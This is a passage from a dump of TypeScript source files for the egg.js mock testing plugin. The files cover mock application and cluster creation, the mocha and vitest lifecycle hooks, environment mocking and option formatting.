    "content": "import mm from 'mm';\nimport { mock as _mock } from 'mm';\n\nimport type ApplicationUnittest from './app/extend/application.ts';\nimport { createApp } from './lib/app.ts';\nimport { setGetAppCallback } from './lib/app_handler.ts';\nimport { createCluster, type MockClusterApplication } from './lib/cluster.ts';\n// import { getMockAgent } from './lib/mock_agent.js';\nimport { restore } from './lib/restore.ts';\n\nexport * from './lib/types.ts';\n\n// egg-bin will set this flag to require files for instrument\n// if (process.env.EGG_BIN_PREREQUIRE) {\n//   require('./lib/prerequire');\n// }\n\n// Define the extended mock type\ninterface ExtendedMock {\n  restore: typeof restore;\n  app: typeof createApp;\n  cluster: typeof createCluster;\n  env: (env: string) => void;\n  consoleLevel: (level: string) => void;\n  home: (homePath?: string) => void;\n  setGetAppCallback: typeof setGetAppCallback;\n}\n\n// inherit & extends mm\nconst mock = {\n  ...mm,\n  restore,\n\n  /**\n   * Create a egg mocked application\n   * @function mm#app\n   * @param {Object} [options]\n   * - {String} baseDir - The directory of the application\n   * - {Object} plugins - Custom you plugins\n   * - {String} framework - The directory of the egg framework\n   * - {Boolean} [true] cache - Cache application based on baseDir\n   * - {Boolean} [true] coverage - Switch on process coverage, but it'll be slower\n   * - {Boolean} [true] clean - Remove $baseDir/logs\n   * @return {App} return {@link Application}\n   * @example\n   * ```js\n   * const app = mm.app();\n   * ```\n   */\n  app: createApp,\n\n  /**\n   * Create a egg mocked cluster application\n   * @function mm#cluster\n   * @see ClusterApplication\n   */\n  cluster: createCluster,\n\n  /**\n   * mock the serverEnv of Egg\n   * @member {Function} mm#env\n   * @param {String} env - contain default, test, prod, local, unittest\n   * @see https://github.com/eggjs/egg-core/blob/master/lib/loader/egg_loader.js#L78\n   */\n  env(env: string): void {\n    _mock(process.env, 'EGG_MOCK_SERVER_ENV', env as any);\n    _mock(process.env, 'EGG_SERVER_ENV', env as any);\n  },\n\n  /**\n   * mock console level\n   * @param {String} level - logger level\n   */\n  consoleLevel(level: string): void {\n    level = (level || '').toUpperCase();\n    _mock(process.env, 'EGG_LOG', level as any);\n  },\n\n  home(homePath?: string): void {\n    if (homePath) {\n      _mock(process.env, 'EGG_HOME', homePath as any);\n    }\n  },\n\n  setGetAppCallback,\n};\n\n// import mm from '@eggjs/mock';\nconst proxyMock = new Proxy(_mock, {\n  apply(target, _, args) {\n    return target(args[0], args[1], args[2]);\n  },\n  get(_target, property, receiver) {\n    // import mm from '@eggjs/mock';\n    // mm.isMocked(foo, 'bar')\n    return Reflect.get(mock, property, receiver);\n  },\n}) as unknown as ((target: any, property: PropertyKey, value?: any) => void) & ExtendedMock & typeof mm;\n\nexport default proxyMock;\n\nexport {\n  proxyMock as mock,\n  // alias to mm\n  proxyMock as mm,\n  type MockClusterApplication,\n  type ApplicationUnittest as MockApplication,\n  setGetAppCallback,\n  createApp,\n  createCluster,\n};\n\nprocess.setMaxListeners(100);\n\nprocess.once('SIGQUIT', () => {\n  process.exit(0);\n});\n\nprocess.once('SIGTERM', () => {\n  process.exit(0);\n});\n\nprocess.once('SIGINT', () => {\n  process.exit(0);\n});\n"
  },
  {
    "path": "plugins/mock/src/inject_mocha.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport { getRequire } from '@eggjs/utils';\n\nimport { injectContext } from './lib/inject_context.ts';\n\nconst debug = debuglog('egg/mock/inject_mocha');\n\n/**\n * Find active node mocha instances.\n */\nfunction findNodeJSMocha() {\n  let children: any;\n  if (typeof require === 'function') {\n    children = require.cache || {};\n  } else {\n    // FIXME: not work on ESM\n    children = getRequire().cache || {};\n    debug('createRequire on esm');\n  }\n\n  return Object.keys(children)\n    .filter(function (child) {\n      const val = children[child].exports;\n      return typeof val === 'function' && val.name === 'Mocha';\n    })\n    .map(function (child) {\n      return children[child].exports;\n    });\n}\n\nimport 'mocha';\n\nconst modules = findNodeJSMocha();\ndebug('modules length: %s', modules.length);\n\nfor (const module of modules) {\n  if (!module) continue;\n  injectContext(module);\n}\n"
  },
  {
    "path": "plugins/mock/src/lib/agent_handler.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport { createAgent, MockAgent } from './parallel/agent.ts';\nimport { getEggOptions } from './utils.ts';\n\nconst debug = debuglog('egg/mock/lib/agent_handler');\n\nlet agent: MockAgent;\n\nexport async function setupAgent(): Promise<MockAgent> {\n  debug(\n    'setupAgent call, env.ENABLE_MOCHA_PARALLEL: %s, process.env.AUTO_AGENT: %s, agent: %s',\n    process.env.ENABLE_MOCHA_PARALLEL,\n    process.env.AUTO_AGENT,\n    !!agent,\n  );\n  if (agent) {\n    await agent.ready();\n    return agent;\n  }\n  if (process.env.ENABLE_MOCHA_PARALLEL && process.env.AUTO_AGENT) {\n    agent = createAgent(getEggOptions());\n    await agent.ready();\n  }\n  return agent;\n}\n\nexport async function closeAgent(): Promise<void> {\n  debug('setupAgent call, agent: %s', !!agent);\n  if (agent) {\n    await agent.close();\n  }\n}\n"
  },
  {
    "path": "plugins/mock/src/lib/app.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport os from 'node:os';\nimport path from 'node:path';\nimport { debuglog } from 'node:util';\n\nimport { importModule } from '@eggjs/utils';\nimport { detectPort } from 'detect-port';\nimport { Base } from 'sdk-base';\n\nimport AgentUnittest from '../app/extend/agent.ts';\nimport ApplicationUnittest from '../app/extend/application.ts';\nimport { context } from './context.ts';\nimport { formatOptions } from './format_options.ts';\nimport { setCustomLoader } from './mock_custom_loader.ts';\nimport { createServer } from './mock_http_server.ts';\nimport type { MockOptions, MockApplicationOptions } from './types.ts';\nimport { sleep, rimraf, getProperty } from './utils.ts';\n\nconst debug = debuglog('egg/mock/lib/app');\n\nconst apps = new Map<string, ApplicationUnittest>();\nconst APP_INIT = Symbol('appInit');\nconst MESSENGER = Symbol('messenger');\nconst MOCK_APP_METHOD = ['ready', 'closed', 'isClosed', 'close', '_agent', '_app', 'on', 'once', 'then'];\n\nclass MockApplicationWorker extends Base {\n  _agent: AgentUnittest;\n  _app: ApplicationUnittest;\n  declare options: MockApplicationOptions;\n  baseDir: string;\n  [APP_INIT] = false;\n  _initOnListeners: Set<any[]>;\n  _initOnceListeners: Set<any[]>;\n\n  constructor(options: MockApplicationOptions) {\n    super({\n      initMethod: '_init',\n      ...options,\n    });\n    this.baseDir = options.baseDir;\n    this._initOnListeners = new Set();\n    this._initOnceListeners = new Set();\n  }\n\n  async _init() {\n    if (this.options.beforeInit) {\n      await this.options.beforeInit(this);\n      // init once\n      this.options.beforeInit = undefined;\n    }\n    if (this.options.clean !== false) {\n      const logDir = path.join(this.options.baseDir, 'logs');\n      try {\n        if (os.platform() === 'win32') {\n          await sleep(1000);\n        }\n        await rimraf(logDir);\n      } catch (err: any) {\n        console.error(`remove log dir ${logDir} failed: ${err.stack}`);\n      }\n      const runDir = path.join(this.options.baseDir, 'run');\n      try {\n        if (os.platform() === 'win32') {\n          await sleep(1000);\n        }\n        await rimraf(runDir);\n      } catch (err: any) {\n        console.error(`remove run dir ${runDir} failed: ${err.stack}`);\n      }\n    }\n\n    this.options.clusterPort = await detectPort();\n    debug('[init] options: %o', this.options);\n    const egg = await importModule(this.options.framework);\n    assert(egg.Agent, `should export Agent class from framework ${this.options.framework}`);\n\n    const Agent = egg.Agent;\n    const agent = (this._agent = new Agent({\n      ...this.options,\n    }) as AgentUnittest);\n    debug('agent instantiate');\n    await agent.ready();\n    debug('agent ready');\n\n    const ApplicationClass = bindMessenger(egg.Application, agent);\n    const app = (this._app = new ApplicationClass({\n      ...this.options,\n    }) as unknown as ApplicationUnittest);\n\n    // https://github.com/eggjs/egg/blob/8bb7c7e7d59d6aeca4b2ed1eb580368dcb731a4d/lib/egg.js#L125\n    // egg single mode mount this at start(), so egg-mock should impel it.\n    app.agent = agent;\n    Reflect.set(agent, 'app', app);\n\n    // egg-mock plugin need to override egg context\n    Object.assign(app.context, context);\n\n    debug('app instantiate');\n    this[APP_INIT] = true;\n    debug('this[APP_INIT] = true');\n    this.#bindEvent();\n    debug('http server instantiate');\n    createServer(app);\n    await app.ready();\n    // work for config ready\n    setCustomLoader(app);\n\n    const msg = {\n      action: 'egg-ready',\n      data: this.options,\n    };\n    app.messenger.onMessage(msg);\n    agent.messenger.onMessage(msg);\n    debug('app ready');\n  }\n\n  #bindEvent() {\n    debug('bind cache events to app');\n    for (const args of this._initOnListeners) {\n      debug('on(%s), use cache and pass to app', args);\n      this._app.on(args[0], args[1]);\n      this.removeListener(args[0], args[1]);\n    }\n    for (const args of this._initOnceListeners) {\n      debug('once(%s), use cache and pass to app', args);\n      this._app.once(args[0], args[1]);\n      this.removeListener(args[0], args[1]);\n    }\n  }\n\n  on(...args: any[]) {\n    if (this[APP_INIT]) {\n      debug('on(%s), pass to app', args);\n      this._app.on(args[0], args[1]);\n    } else {\n      debug('on(%s), cache it because app has not init', args);\n      this._initOnListeners.add(args);\n      super.on(args[0], args[1]);\n    }\n    return this;\n  }\n\n  once(...args: any[]) {\n    if (this[APP_INIT]) {\n      debug('once(%s), pass to app', args);\n      this._app.once(args[0], args[1]);\n    } else {\n      debug('once(%s), cache it because app has not init', args);\n      this._initOnceListeners.add(args);\n      // maybe some edge case bug here\n      super.on(args[0], args[1]);\n    }\n    return this;\n  }\n\n  /**\n   * close app\n   */\n  async _close() {\n    const baseDir = this.baseDir;\n    if (this._app) {\n      await this._app.close();\n    } else {\n      // when app init throws an exception, must wait for app quit gracefully\n      await sleep(200);\n    }\n\n    if (this._agent) {\n      await this._agent.close();\n    }\n\n    apps.delete(baseDir);\n    debug('delete app cache %s, remain %s', baseDir, [...apps.keys()]);\n\n    if (os.platform() === 'win32') {\n      await sleep(1000);\n    }\n  }\n\n  /**\n   * @deprecated please use isClosed instead, keep compatible with old version\n   */\n  get closed() {\n    return this.isClosed;\n  }\n}\n\nexport function createApp(createOptions?: MockOptions): ApplicationUnittest {\n  const options = formatOptions({\n    ...createOptions,\n    mode: 'single',\n  });\n  debug('[createApp] options: %o', options);\n  if (options.cache && apps.has(options.baseDir)) {\n    const app = apps.get(options.baseDir);\n    // return cache when it hasn't been killed\n    if (app && !app.isClosed) {\n      debug('use cache app %s', options.baseDir);\n      return app;\n    }\n    // delete the cache when it's closed\n    apps.delete(options.baseDir);\n  }\n\n  const appWorker = new MockApplicationWorker(options);\n  const proxyApp = new Proxy(appWorker, {\n    get(target: any, prop: string) {\n      // don't delegate properties on MockApplication\n      if (MOCK_APP_METHOD.includes(prop)) {\n        return getProperty(target, prop);\n      }\n      if (!target[APP_INIT]) {\n        throw new Error(`can't get ${prop} before ready`);\n      }\n      // it's asynchronous when agent and app are loading,\n      // so should get the properties after loader ready\n      debug('proxy handler.get %s', prop);\n      return target._app[prop];\n    },\n    set(target, prop: string, value) {\n      if (MOCK_APP_METHOD.includes(prop)) return true;\n      if (!target[APP_INIT]) throw new Error(`can't set ${prop} before ready`);\n      debug('proxy handler.set %s', prop);\n      target._app[prop] = value;\n      return true;\n    },\n    defineProperty(target, prop: string, descriptor) {\n      // can't define properties on MockApplication\n      if (MOCK_APP_METHOD.includes(prop)) return true;\n      if (!target[APP_INIT]) throw new Error(`can't defineProperty ${prop} before ready`);\n      debug('proxy handler.defineProperty %s', prop);\n      Object.defineProperty(target._app, prop, descriptor);\n      return true;\n    },\n    deleteProperty(target, prop: string) {\n      // can't delete properties on MockApplication\n      if (MOCK_APP_METHOD.includes(prop)) return true;\n      if (!target[APP_INIT]) throw new Error(`can't delete ${prop} before ready`);\n      debug('proxy handler.deleteProperty %s', prop);\n      delete target._app[prop];\n      return true;\n    },\n    getOwnPropertyDescriptor(target, prop: string) {\n      if (MOCK_APP_METHOD.includes(prop)) {\n        return Object.getOwnPropertyDescriptor(target, prop);\n      }\n      if (!target[APP_INIT]) {\n        throw new Error(`can't getOwnPropertyDescriptor ${prop} before ready`);\n      }\n      debug('proxy handler.getOwnPropertyDescriptor %s', prop);\n      return Object.getOwnPropertyDescriptor(target._app, prop);\n    },\n    getPrototypeOf(target) {\n      if (!target[APP_INIT]) {\n        throw new Error(\"can't getPrototypeOf before ready\");\n      }\n      debug('proxy handler.getPrototypeOf %s');\n      return Object.getPrototypeOf(target._app);\n    },\n  });\n\n  apps.set(options.baseDir, proxyApp);\n  return proxyApp;\n}\n\nfunction bindMessenger(ApplicationClass: any, agent: AgentUnittest) {\n  const agentMessenger = agent.messenger;\n  return class MessengerApplication extends ApplicationClass {\n    [MESSENGER]: any;\n\n    constructor(options: any) {\n      super(options);\n\n      // enable app to send to a random agent\n      this.messenger.sendRandom = (action: string, data: unknown) => {\n        this.messenger.sendToAgent(action, data);\n      };\n      // enable agent to send to a random app\n      agentMessenger.on('egg-ready', () => {\n        agentMessenger.sendRandom = (action: string, data: unknown) => {\n          agentMessenger.sendToApp(action, data);\n          return agentMessenger;\n        };\n      });\n\n      agentMessenger.send = new Proxy(agentMessenger.send, {\n        apply: this._sendMessage.bind(this),\n      });\n    }\n    _sendMessage(_target: any, _thisArg: unknown, [action, data, to]: [string, unknown | undefined, string]) {\n      const appMessenger = this.messenger;\n      setImmediate(() => {\n        if (to === 'app' || to === 'application') {\n          appMessenger.onMessage({ action, data });\n        } else {\n          agentMessenger.onMessage({ action, data });\n        }\n      });\n    }\n    get messenger() {\n      return this[MESSENGER];\n    }\n    set messenger(m) {\n      m.send = new Proxy(m.send, {\n        apply: this._sendMessage.bind(this),\n      });\n      this[MESSENGER] = m;\n    }\n\n    // customEggPaths() {\n    //   return [path.join(getSourceDirname(), 'lib/tmp')];\n    // }\n  };\n}\n"
  },
  {
    "path": "plugins/mock/src/lib/app_handler.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport ApplicationUnittest from '../app/extend/application.ts';\nimport { setupAgent } from './agent_handler.ts';\nimport { createApp } from './app.ts';\nimport { createApp as createParallelApp } from './parallel/app.ts';\nimport { restore } from './restore.ts';\nimport { getEggOptions } from './utils.ts';\n\nconst debug = debuglog('egg/mock/lib/app_handler');\n\ndeclare namespace globalThis {\n  let __eggMockAppInstance: ApplicationUnittest | null;\n}\n\nglobalThis.__eggMockAppInstance = null;\n\nexport function setupApp(): ApplicationUnittest {\n  let app = globalThis.__eggMockAppInstance!;\n  if (app) {\n    debug('return exists app');\n    return app;\n  }\n\n  const options = getEggOptions();\n  debug(\n    'env.ENABLE_MOCHA_PARALLEL: %s, process.env.AUTO_AGENT: %s',\n    process.env.ENABLE_MOCHA_PARALLEL,\n    process.env.AUTO_AGENT,\n  );\n  if (process.env.ENABLE_MOCHA_PARALLEL && process.env.AUTO_AGENT) {\n    // setup agent first\n    app = createParallelApp({\n      ...options,\n      beforeInit: async (parallelApp) => {\n        const agent = await setupAgent();\n        parallelApp.options.clusterPort = agent.options.clusterPort;\n        debug('mockParallelApp beforeInit get clusterPort: %s', parallelApp.options.clusterPort);\n      },\n    });\n    debug('mockParallelApp app: %s', !!app);\n  } else {\n    app = createApp(options) as unknown as ApplicationUnittest;\n    // Skip hook registration when vitest setup_vitest.ts is handling the lifecycle\n    const vitestSetup = (globalThis as Record<string, unknown>).__eggMockVitestSetup;\n    if (!vitestSetup) {\n      // eslint-disable-next-line @typescript-eslint/ban-ts-comment\n      // @ts-ignore\n      if (typeof beforeAll === 'function') {\n        // eslint-disable-next-line @typescript-eslint/ban-ts-comment\n        // @ts-ignore\n        // jest\n        beforeAll(() => app.ready());\n      }\n      // @ts-ignore mocha tsd\n      if (typeof afterEach === 'function') {\n        // mocha and jest\n        // @ts-ignore mocha tsd\n        afterEach(() => app.backgroundTasksFinished());\n        // @ts-ignore mocha tsd\n        afterEach(restore);\n      }\n    }\n  }\n  globalThis.__eggMockAppInstance = app;\n  return app;\n}\n\nlet getAppCallback: (suite: unknown, test?: unknown) => any;\n\nexport function setGetAppCallback(cb: (suite: unknown, test?: unknown) => any): void {\n  getAppCallback = cb;\n}\n\nexport async function getApp(suite?: unknown, test?: unknown): Promise<ApplicationUnittest> {\n  if (getAppCallback) {\n    return getAppCallback(suite, test);\n  }\n  const app = globalThis.__eggMockAppInstance!;\n  if (app) {\n    await app.ready();\n  }\n  return app;\n}\n\nexport function getBootstrapApp(): ApplicationUnittest {\n  return globalThis.__eggMockAppInstance!;\n}\n"
  },
  {
    "path": "plugins/mock/src/lib/cluster.ts",
    "content": "import childProcess from 'node:child_process';\nimport { once } from 'node:events';\nimport { existsSync } from 'node:fs';\nimport os from 'node:os';\nimport path from 'node:path';\nimport { debuglog } from 'node:util';\n\nimport { Coffee } from 'coffee';\nimport { Ready } from 'get-ready';\n\nimport type ApplicationUnittest from '../app/extend/application.ts';\nimport { formatOptions } from './format_options.ts';\nimport { request as supertestRequest } from './supertest.ts';\nimport type { MockClusterOptions, MockClusterApplicationOptions } from './types.ts';\nimport { sleep, rimrafSync } from './utils.ts';\n\nconst debug = debuglog('egg/mock/lib/cluster');\n\nconst clusters = new Map();\ndeclare global {\n  // define the global variable to avoid the port conflict in parallel process mode\n  var eggMockMasterPort: number;\n}\nglobalThis.eggMockMasterPort = 17000 + (process.pid % 1000);\n\nlet serverBin = path.join(import.meta.dirname, 'start-cluster.js');\nif (!existsSync(serverBin)) {\n  serverBin = path.join(import.meta.dirname, 'start-cluster.ts');\n}\nlet requestCallFunctionFile = path.join(import.meta.dirname, 'request_call_function.js');\nif (!existsSync(requestCallFunctionFile)) {\n  requestCallFunctionFile = path.join(import.meta.dirname, 'request_call_function.ts');\n}\n\n/**\n * A cluster version of egg.Application, you can test with supertest\n * @example\n * ```js\n * const mm = require('mm');\n * const request = require('supertest');\n *\n * describe('ClusterApplication', () => {\n *   let app;\n *   before(function (done) {\n *     app = mm.cluster({ baseDir });\n *     app.ready(done);\n *   });\n *\n *   after(function () {\n *     app.close();\n *   });\n *\n *   it('should 200', function (done) {\n *     request(app.callback())\n *     .get('/')\n *     .expect(200, done);\n *   });\n * });\n */\nexport class ClusterApplication extends Coffee {\n  [key: string | symbol]: any;\n  options: MockClusterApplicationOptions;\n  port: number;\n  baseDir: string;\n  closed: boolean;\n  private _address: string | undefined;\n\n  /**\n   * @class\n   * @param {Object} options\n   * - {String} baseDir - The directory of the application\n   * - {Object} plugins - Custom you plugins\n   * - {String} framework - The directory of the egg framework\n   * - {Boolean} [cache=true] - Cache application based on baseDir\n   * - {Boolean} [coverage=true] - Switch on process coverage, but it'll be slower\n   * - {Boolean} [clean=true] - Remove $baseDir/logs\n   * - {Object}  [opt] - opt pass to coffee, such as { execArgv: ['--debug'] }\n   * ```\n   */\n  constructor(options: MockClusterApplicationOptions) {\n    const opt = options.opt;\n    delete options.opt;\n\n    // incremental port\n    options.port = options.port ?? ++globalThis.eggMockMasterPort;\n    // Set 1 worker when test\n    if (!options.workers) {\n      options.workers = 1;\n    }\n\n    const args = [JSON.stringify(options)];\n    debug('fork %s, args: %s, opt: %j', serverBin, args.join(' '), opt);\n    super({\n      method: 'fork',\n      cmd: serverBin,\n      args,\n      opt,\n    });\n\n    Ready.mixin(this);\n\n    this.port = options.port;\n    this.baseDir = options.baseDir;\n\n    // print stdout and stderr when DEBUG, otherwise stderr.\n    this.debug(process.env.DEBUG ? 0 : 2);\n\n    // disable coverage\n    if (options.coverage === false) {\n      this.coverage(false);\n    }\n\n    process.nextTick(() => {\n      this.proc.on('message', (msg: any) => {\n        // 'egg-ready' and { action: 'egg-ready' }\n        const action = msg && msg.action ? msg.action : msg;\n        switch (action) {\n          case 'egg-ready':\n            // data: { port: 17703, address: 'http://127.0.0.1:17703', protocol: 'http' }\n            debug('on message egg-ready %o', msg);\n            this._address = msg.data.address;\n            this.emit('close', 0);\n            break;\n          case 'app-worker-died':\n          case 'agent-worker-died':\n            this.emit('close', 1);\n            break;\n          default:\n            // ignore it\n            break;\n        }\n      });\n    });\n\n    this.end(() => this.ready(true));\n  }\n\n  /**\n   * the process that forked\n   * @member {ChildProcess}\n   */\n  get process(): childProcess.ChildProcess {\n    return this.proc;\n  }\n\n  /**\n   * Compatible API for supertest\n   */\n  callback(): this {\n    return this;\n  }\n\n  /**\n   * Compatible API for supertest\n   * @member {String} url\n   * @private\n   */\n  get url(): string {\n    if (this._address) {\n      return this._address;\n    }\n    return 'http://127.0.0.1:' + this.port;\n  }\n\n  /**\n   * Compatible API for supertest\n   */\n  address(): { port: number; address: string | undefined } {\n    return {\n      port: this.port,\n      address: this._address,\n    };\n  }\n\n  /**\n   * Compatible API for supertest\n   */\n  listen(): this {\n    return this;\n  }\n\n  /**\n   * kill the process\n   */\n  async close(): Promise<void> {\n    this.closed = true;\n\n    const proc = this.proc;\n    const baseDir = this.baseDir;\n    if (proc?.connected) {\n      proc.kill('SIGTERM');\n      await once(proc, 'exit');\n    }\n\n    clusters.delete(baseDir);\n    debug('delete cluster cache %s, remain %s', baseDir, [...clusters.keys()]);\n\n    if (os.platform() === 'win32') {\n      await sleep(1000);\n    }\n  }\n\n  get isClosed(): boolean {\n    return this.closed;\n  }\n\n  // mock app.router.pathFor(name) api\n  get router(): { pathFor: (url: string) => any } {\n    const self = this;\n    return {\n      pathFor(url: string): any {\n        return self._callFunctionOnAppWorker('pathFor', [url], 'router', true);\n      },\n    };\n  }\n\n  /**\n   * get app[property] value in app worker\n   */\n  getAppInstanceProperty(property: string): any {\n    return this._callFunctionOnAppWorker('__getter__', [], property, true);\n  }\n\n  /**\n   * collection logger message, then can be use on `expectLog()`\n   * it's different from `app.expectLog()`, only support string params.\n   *\n   * @param {String} [logger] - logger instance name, default is `logger`\n   * @function ClusterApplication#expectLog\n   */\n  mockLog(logger?: string): void {\n    logger = logger ?? 'logger';\n    this._callFunctionOnAppWorker('mockLog', [logger], null, true);\n  }\n\n  /**\n   * expect str in the logger\n   * it's different from `app.expectLog()`, only support string params.\n   *\n   * @param {String} str - test str\n   * @param {String} [logger] - logger instance name, default is `logger`\n   * @function ClusterApplication#expectLog\n   */\n  expectLog(str: string, logger?: string): void {\n    logger = logger ?? 'logger';\n    this._callFunctionOnAppWorker('expectLog', [str, logger], null, true);\n  }\n\n  /**\n   * not expect str in the logger\n   * it's different from `app.notExpectLog()`, only support string params.\n   *\n   * @param {String} str - test str\n   * @param {String} [logger] - logger instance name, default is `logger`\n   * @function ClusterApplication#notExpectLog\n   */\n  notExpectLog(str: string, logger?: string): void {\n    logger = logger ?? 'logger';\n    this._callFunctionOnAppWorker('notExpectLog', [str, logger], null, true);\n  }\n\n  httpRequest(): ReturnType<typeof supertestRequest> {\n    return supertestRequest(this);\n  }\n\n  _callFunctionOnAppWorker(method: string, args: any[] = [], property: any = undefined, needResult = false): any {\n    for (let i = 0; i < args.length; i++) {\n      const arg = args[i];\n      if (typeof arg === 'function') {\n        args[i] = {\n          __egg_mock_type: 'function',\n          value: arg.toString(),\n        };\n      } else if (arg instanceof Error) {\n        const errObject: any = {\n          __egg_mock_type: 'error',\n          name: arg.name,\n          message: arg.message,\n          stack: arg.stack,\n        };\n        for (const key in arg) {\n          if (key !== 'name' && key !== 'message' && key !== 'stack') {\n            errObject[key] = (arg as any)[key];\n          }\n        }\n        args[i] = errObject;\n      }\n    }\n    const data = {\n      port: this.port,\n      method,\n      args,\n      property,\n      needResult,\n    };\n    const child = childProcess.spawnSync(process.execPath, [requestCallFunctionFile, JSON.stringify(data)], {\n      stdio: 'pipe',\n    });\n    // if (child.stderr && child.stderr.length > 0) {\n    //   console.error(child.stderr.toString());\n    // }\n    let result: any;\n    if (child.stdout && child.stdout.length > 0) {\n      if (needResult) {\n        result = JSON.parse(child.stdout.toString());\n      } else {\n        console.error(child.stdout.toString());\n      }\n    }\n\n    if (child.status !== 0) {\n      throw new Error(child.stderr.toString());\n    }\n    if (child.error) {\n      throw child.error;\n    }\n\n    return result;\n  }\n}\n\nexport type MockClusterApplication = ClusterApplication & ApplicationUnittest;\n\nexport function createCluster(initOptions?: MockClusterOptions): MockClusterApplication {\n  const options = formatOptions(initOptions) as MockClusterApplicationOptions;\n  if (options.cache && clusters.has(options.baseDir)) {\n    const clusterApp = clusters.get(options.baseDir);\n    // return cache when it hasn't been killed\n    if (!clusterApp.isClosed) {\n      return clusterApp;\n    }\n\n    // delete the cache when it's closed\n    clusters.delete(options.baseDir);\n  }\n\n  if (options.clean !== false) {\n    const logDir = path.join(options.baseDir, 'logs');\n    try {\n      rimrafSync(logDir);\n    } catch (err: any) {\n      console.error(`remove log dir ${logDir} failed: ${err.stack}`);\n    }\n    const runDir = path.join(options.baseDir, 'run');\n    try {\n      rimrafSync(runDir);\n    } catch (err: any) {\n      console.error(`remove run dir ${runDir} failed: ${err.stack}`);\n    }\n  }\n\n  let clusterApp = new ClusterApplication(options);\n  clusterApp = new Proxy(clusterApp, {\n    get(target, prop) {\n      debug('proxy handler.get %s', prop);\n      // proxy mockXXX function to app worker\n      const method = prop;\n      if (typeof method === 'string' && /^mock\\w+$/.test(method) && target[method] === undefined) {\n        return function mockProxy(...args: any[]) {\n          return target._callFunctionOnAppWorker(method, args, null, true);\n        };\n      }\n      return target[prop];\n    },\n  });\n\n  clusters.set(options.baseDir, clusterApp);\n  return clusterApp as unknown as MockClusterApplication;\n}\n\n// export to let mm.restore() worked\nexport async function restore(): Promise<void> {\n  for (const clusterApp of clusters.values()) {\n    // will proxy to app.mockRestore()\n    await clusterApp.mockRestore();\n  }\n}\n\n// ensure to close App process on test exit.\nprocess.on('exit', () => {\n  for (const clusterApp of clusters.values()) {\n    debug('on exit close clusterApp, port: %s', clusterApp.port);\n    clusterApp.close();\n  }\n});\n"
  },
  {
    "path": "plugins/mock/src/lib/context.ts",
    "content": "export const context = {\n  runInBackground(scope: any) {\n    const taskName = scope._name || scope.name;\n    if (taskName) {\n      scope._name = taskName;\n    }\n\n    const promise = this._runInBackground(scope);\n    this.app._backgroundTasks.push(promise);\n  },\n} as any;\n"
  },
  {
    "path": "plugins/mock/src/lib/format_options.ts",
    "content": "import path from 'node:path';\nimport { debuglog } from 'node:util';\n\nimport { getFrameworkPath } from '@eggjs/utils';\nimport { mm, isMocked } from 'mm';\nimport { readJSONSync } from 'utility';\n\nimport type { MockOptions, MockApplicationOptions } from './types.ts';\nimport { getSourceDirname } from './utils.ts';\n\nconst debug = debuglog('egg/mock/lib/format_options');\n\n/**\n * format the options\n */\nexport function formatOptions(initOptions?: MockOptions): MockApplicationOptions {\n  const options = {\n    baseDir: process.cwd(),\n    cache: true,\n    coverage: true,\n    clean: true,\n    ...initOptions,\n  } as MockApplicationOptions;\n\n  // relative path to test/fixtures\n  // ```js\n  // formatOptions({ baseDir: 'app' }); // baseDir => $PWD/test/fixtures/app\n  // ```\n  if (!path.isAbsolute(options.baseDir)) {\n    options.baseDir = path.join(process.cwd(), 'test/fixtures', options.baseDir);\n  }\n\n  let framework = initOptions?.framework ?? initOptions?.customEgg;\n  // test for framework\n  if (framework === true) {\n    framework = process.cwd();\n    // disable plugin test when framework test\n    options.plugin = false;\n  } else {\n    if (!framework) {\n      framework = '';\n    }\n    // it will throw when framework is not found\n    framework = getFrameworkPath({ framework, baseDir: options.baseDir });\n  }\n  options.framework = options.customEgg = framework;\n\n  const plugins = (options.plugins = options.plugins || {});\n\n  // add self as a plugin\n  let pluginPath = path.join(getSourceDirname(), '..');\n  // for dist directory\n  // convert `/eggjs/mock/dist` to `/eggjs/mock`\n  if (pluginPath.endsWith('/dist') || pluginPath.endsWith('\\\\dist')) {\n    pluginPath = path.join(pluginPath, '..');\n  }\n  plugins['egg-mock'] = {\n    enable: true,\n    path: pluginPath,\n  };\n\n  // test for plugin\n  if (options.plugin !== false) {\n    // add self to plugin list\n    const pluginPath = process.cwd();\n    const pkgPath = path.join(pluginPath, 'package.json');\n    const pluginName = getPluginName(pkgPath);\n    if (options.plugin && !pluginName) {\n      throw new Error(`should set \"eggPlugin\" property in ${pkgPath}`);\n    }\n    if (pluginName) {\n      plugins[pluginName] = {\n        enable: true,\n        path: pluginPath,\n      };\n    }\n  }\n\n  // mock HOME as baseDir, but ignore if it has been mocked\n  const env = process.env.EGG_SERVER_ENV;\n  if (!isMocked(process.env, 'HOME') && (env === 'default' || env === 'test' || env === 'prod')) {\n    mm(process.env, 'HOME', options.baseDir);\n  }\n\n  // disable cache after call mm.env(),\n  // otherwise it will use cache and won't load again.\n  if (process.env.EGG_MOCK_SERVER_ENV) {\n    options.cache = false;\n  }\n\n  // when running under vitest threads pool, use worker_threads start mode\n  // so egg cluster-client uses thread-based IPC instead of process-based\n  if (!options.startMode && process.env.EGG_VITEST_POOL === 'threads') {\n    options.startMode = 'worker_threads';\n  }\n\n  debug('[formatOptions] options: %j', options);\n  return options;\n}\n\nfunction getPluginName(pkgPath: string): string | undefined {\n  try {\n    const pkg = readJSONSync(pkgPath);\n    if (pkg.eggPlugin?.name) {\n      return pkg.eggPlugin.name;\n    }\n  } catch {\n    // ignore\n  }\n}\n"
  },
  {
    "path": "plugins/mock/src/lib/inject_context.ts",
